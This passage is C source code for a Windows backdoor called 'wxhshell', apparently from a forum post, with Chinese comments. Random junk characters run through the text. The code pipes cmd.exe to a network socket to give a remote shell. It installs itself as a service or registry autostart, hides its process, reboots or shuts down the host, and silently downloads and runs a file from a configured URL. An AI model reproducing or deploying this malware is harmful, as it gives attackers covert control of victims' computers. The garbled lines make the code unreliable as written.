  // 帮助 |t+M/C0y/  
  case '?': { )Fx"S.Ok  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9]fhH  
    break; reR><p  
  } C,~wmS )@  
  // 安装 8^\}\@  
  case 'i': { {STOWuY  
    if(Install()) 4e~^G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u.sF/T=6f  
    else T]Z|Wq`bot  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %KHO}gad1  
    break; n8UQIa4&=  
    } B4yU}v  
  // 卸载 `bT!_Ru  
  case 'r': { 74Xk^  8  
    if(Uninstall()) wI><kdz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  UhN16|x  
    else 4)0 %^\p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QEKSbxL\W  
    break; i!+D ,O  
    } BLZ#vJR  
  // 显示 wxhshell 所在路径 vQ/}E@?u  
  case 'p': { yI/2 e[  
    char svExeFile[MAX_PATH]; nlmc/1C  
    strcpy(svExeFile,"\n\r"); *vt5dxB  
      strcat(svExeFile,ExeFile); QA>(}u\+  
        send(wsh,svExeFile,strlen(svExeFile),0); #<0Yx9Jh.  
    break; ,Tc3koi  
    } e8g"QDc  
  // 重启 Lh3>xZy"-z  
  case 'b': { E .^5N~.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f2Zi.?``H  
    if(Boot(REBOOT)) CT,caa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DP\s-JpI[  
    else { ' QGacV   
    closesocket(wsh); D,q=?~  
    ExitThread(0); W9n0Jv  
    }  N1,=5P$  
    break; #=F"PhiX`  
    } (uW/t1  
  // 关机 qcMVY\gi  
  case 'd': { i;Cs,Esnf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pm$2*!1F(  
    if(Boot(SHUTDOWN)) K*iy^}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bj23S&  
    else { \Zc$X^}vN  
    closesocket(wsh); Q|QVm,m  
    ExitThread(0); ?#; oqH<  
    } = ms(dr^n  
    break; X8~dFjhX  
    } j_N><_Jc  
  // 获取shell 'f&o%5]  
  case 's': { fm$eJu  
    CmdShell(wsh); MV +R$  
    closesocket(wsh); Dy6uWv,P  
    ExitThread(0); "<o[X ?u  
    break; M S 3?#b  
  } x g=}MoX  
  // 退出 2VmQ%y6e"  
  case 'x': { - s[=$pDU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); piYv }4;:(  
    CloseIt(wsh); vSty.:bY\p  
    break; Fe 3*pUt  
    } }L Q9db1  
  // 离开 Yhdt"@;..  
  case 'q': { 1HQh%dZZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ",/3PT  
    closesocket(wsh); O@JgVdgf  
    WSACleanup(); kk]f*[Zi5  
    exit(1); gXr"],OM;  
    break; @3`:aWda  
        } 1'ne[@i^/  
  } s X&.8  
  } 0dS}p d">k  
50!/%  
  // 提示信息 eduaG,+k7p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \#4??@+Xf  
} Eu/~4:XN  
  } 6k6M&a  
OLXkiesK{  
  return; &qw7BuF  
} $=dp)  
V]b1cDx{  
// shell模块句柄 a*LT<N  
int CmdShell(SOCKET sock) YnnpgR.  
{ eXJt9olI  
STARTUPINFO si; >! +.M9  
ZeroMemory(&si,sizeof(si)); ]zp5 6U|xa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3:Bwf)*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  V|=PaO  
PROCESS_INFORMATION ProcessInfo; B$~oZ'4v  
char cmdline[]="cmd"; '[#a-8-JY_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~3}Gu^@  
  return 0; 4d&#NP  
} {FzL@!||  
#_yQv?J  
// 自身启动模式 _\E{T5  
int StartFromService(void) Gvo(iOU  
{ @$FE}j_  
typedef struct (]7*Kq  
{ d,=Kv  
  DWORD ExitStatus; ""Ul6hRgv  
  DWORD PebBaseAddress; ?pgdj|"a  
  DWORD AffinityMask; w:Ui_-4*>  
  DWORD BasePriority; CU =}]Y  
  ULONG UniqueProcessId; P.*J'q 28  
  ULONG InheritedFromUniqueProcessId; +|.}oL^}G  
}   PROCESS_BASIC_INFORMATION; !_GY\@}  
 }* iag\  
PROCNTQSIP NtQueryInformationProcess; ?wE@9 g A  
%M8Egr2|0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a%*l]S0z"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2m. RM&TdB  
T1zft#1~  
  HANDLE             hProcess; ,4y' (DA  
  PROCESS_BASIC_INFORMATION pbi; u#5/s8  
FFXDt"i2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SNP.n))   
  if(NULL == hInst ) return 0; d_9Fc" C~  
-1Y9-nn[m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v+-f pl&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U$a Eby.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SsA;T5:6  
_3$@s{k-TI  
  if (!NtQueryInformationProcess) return 0; gr %8 O-n  
`B+%W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yu"Ii-9z  
  if(!hProcess) return 0; 0P`wh=")  
F\1nc"K/(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RAR0LKGX  
A7U'>r_.  
  CloseHandle(hProcess); CG'NC\x5  
R`=3lY;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &SS"A*xg  
if(hProcess==NULL) return 0; Lm+!/e  
) Kfk\  
HMODULE hMod;  {ZFa +  
char procName[255]; ja$>>5<q  
unsigned long cbNeeded; *Yv"lB8  
2&91C[da0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $;un$ko6%  
<B 5^  
  CloseHandle(hProcess); 8>x.zO_.c>  
&_FNDJ>MCk  
if(strstr(procName,"services")) return 1; // 以服务启动 /H.QGPr  
/2^cty.BXw  
  return 0; // 注册表启动 ^|}C!t+  
} 2{s ND  
bHlG(1uf  
// 主模块 qG"|,bA  
int StartWxhshell(LPSTR lpCmdLine) j`Lf/S!}  
{ iHjo3_g)n  
  SOCKET wsl; +C7 1".i-  
BOOL val=TRUE; 7=XQgbY/  
  int port=0;  l|`FW  
  struct sockaddr_in door; XuJwZN!(  
J#*Uf>5NY  
  if(wscfg.ws_autoins) Install(); lEi,duS)  
oTtmn, T  
port=atoi(lpCmdLine); mOwgk7s[ J  
> 7!aZO  
if(port<=0) port=wscfg.ws_port; _dqjRhu  
Qo  
  WSADATA data; FW7+!A&F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ff>Y<7CQ v  
pH#&B_S6z=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b qB[ vPsI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R7*Jb-;$!  
  door.sin_family = AF_INET; Wq)'0U;{$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l^xkXj  
  door.sin_port = htons(port); #%VprcEK  
T Uhp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $n `Zvl2  
closesocket(wsl); Qpd-uC_Ni  
return 1; yp5*8g5  
} 3M{!yPlj  
rP ;~<IxEr  
  if(listen(wsl,2) == INVALID_SOCKET) { (Wr;:3i  
closesocket(wsl); Y^LFJB|b4  
return 1; 8DTk<5mW~  
} 1W~-C B>  
  Wxhshell(wsl); `.a L>hf  
  WSACleanup(); j>&n5?  
[2w3c4K  
return 0; y- k?_$ M  
7^sU/3z  
} WA Y<X:|We  
&ukNzV}VW  
// 以NT服务方式启动 GQqw(2Ub}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !N$4.slr<p  
{ =D5@PHpv(  
DWORD   status = 0; p@i U}SUaE  
  DWORD   specificError = 0xfffffff; X2@mQ&n  
\$;\,p p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P@9>4}r$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,<hXNN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *B}vYX  
  serviceStatus.dwWin32ExitCode     = 0; :'y  
  serviceStatus.dwServiceSpecificExitCode = 0; |U nTd$m  
  serviceStatus.dwCheckPoint       = 0; ?f']*pD8  
  serviceStatus.dwWaitHint       = 0; \!ESmxSa;  
y NV$IN%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?Z4& j'z<  
  if (hServiceStatusHandle==0) return; };9dd3X  
'lC"wP&$  
status = GetLastError(); '5ky<  
  if (status!=NO_ERROR) XyS#6D  
{ u4VQx,,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]&/jvA=\l,  
    serviceStatus.dwCheckPoint       = 0; ibzYY"D:  
    serviceStatus.dwWaitHint       = 0; @PwEom`a  
    serviceStatus.dwWin32ExitCode     = status; ?]fBds=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7P/j\frW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QX%m4K/a  
    return; 0nx <f>n  
  } C,2IET  
h83ho  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D\({]oj]  
  serviceStatus.dwCheckPoint       = 0; >[|:cz  
  serviceStatus.dwWaitHint       = 0; #*S/Sh?Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1bzPBi  
} ;ok];4`a  
w**.8]A"N  
// 处理NT服务事件,比如:启动、停止 s^C*uP;R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2IjqT L  
{ um ,/^2A  
switch(fdwControl) VPN@q<BV  
{ eg(xN/D  
case SERVICE_CONTROL_STOP: GsDSJz  
  serviceStatus.dwWin32ExitCode = 0; XQj`KUO@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R$6Y\ *L[  
  serviceStatus.dwCheckPoint   = 0; }QJE9;<e  
  serviceStatus.dwWaitHint     = 0; Slv}6at5  
  { ~fCD#D2KU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -HoPECe  
  } 0RoI`>j'  
  return; 8w2+t>?  
case SERVICE_CONTROL_PAUSE: ?9?0M A<[i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X0vkdNgW  
  break; &)s A(  
case SERVICE_CONTROL_CONTINUE: S NK+U"Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AZl=w`;/O%  
  break; Q|5wz]!5Y(  
case SERVICE_CONTROL_INTERROGATE: R63"j\0  
  break; Y}1|/6eJ  
}; &OI=r vDmo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\U+`>4av  
} ZLL0 6p   
Nq*\{rb  
// 标准应用程序主函数 0w+hf3K+:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bO2$0!=I  
{ k9^P#l@p  
[j93Mp  
// 获取操作系统版本 0A 4(RLGg  
OsIsNt=GetOsVer(); U +mx@C_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ' J-(v  
_|A)ueY  
  // 从命令行安装 m@zxjIwT  
  if(strpbrk(lpCmdLine,"iI")) Install(); *3 9sh[*}  
3N]pN<3@  
  // 下载执行文件 _&F6As !{  
if(wscfg.ws_downexe) { /o|@]SAe.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e'\I^'`!M  
  WinExec(wscfg.ws_filenam,SW_HIDE); p~3CXmUc~  
} ; $y.+5 q  
R4IFl z  
if(!OsIsNt) { xY!]eLZ)&  
// 如果时win9x,隐藏进程并且设置为注册表启动 3I"&Qp%2  
HideProc(); K] Eq"3  
StartWxhshell(lpCmdLine); k.lnG5e  
} mD)Nh  
else 8<]> q  
  if(StartFromService()) a?JU(  
  // 以服务方式启动 x(S 064  
  StartServiceCtrlDispatcher(DispatchTable); /@wm?ft6Gk  
else wh*OD  
  // 普通方式启动 q1?2 U<  
  StartWxhshell(lpCmdLine); x7NxHTL  
pM#:OlqC  
return 0; m7RWuI,  
}
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只看该作者 1 发表于: 2006-10-10
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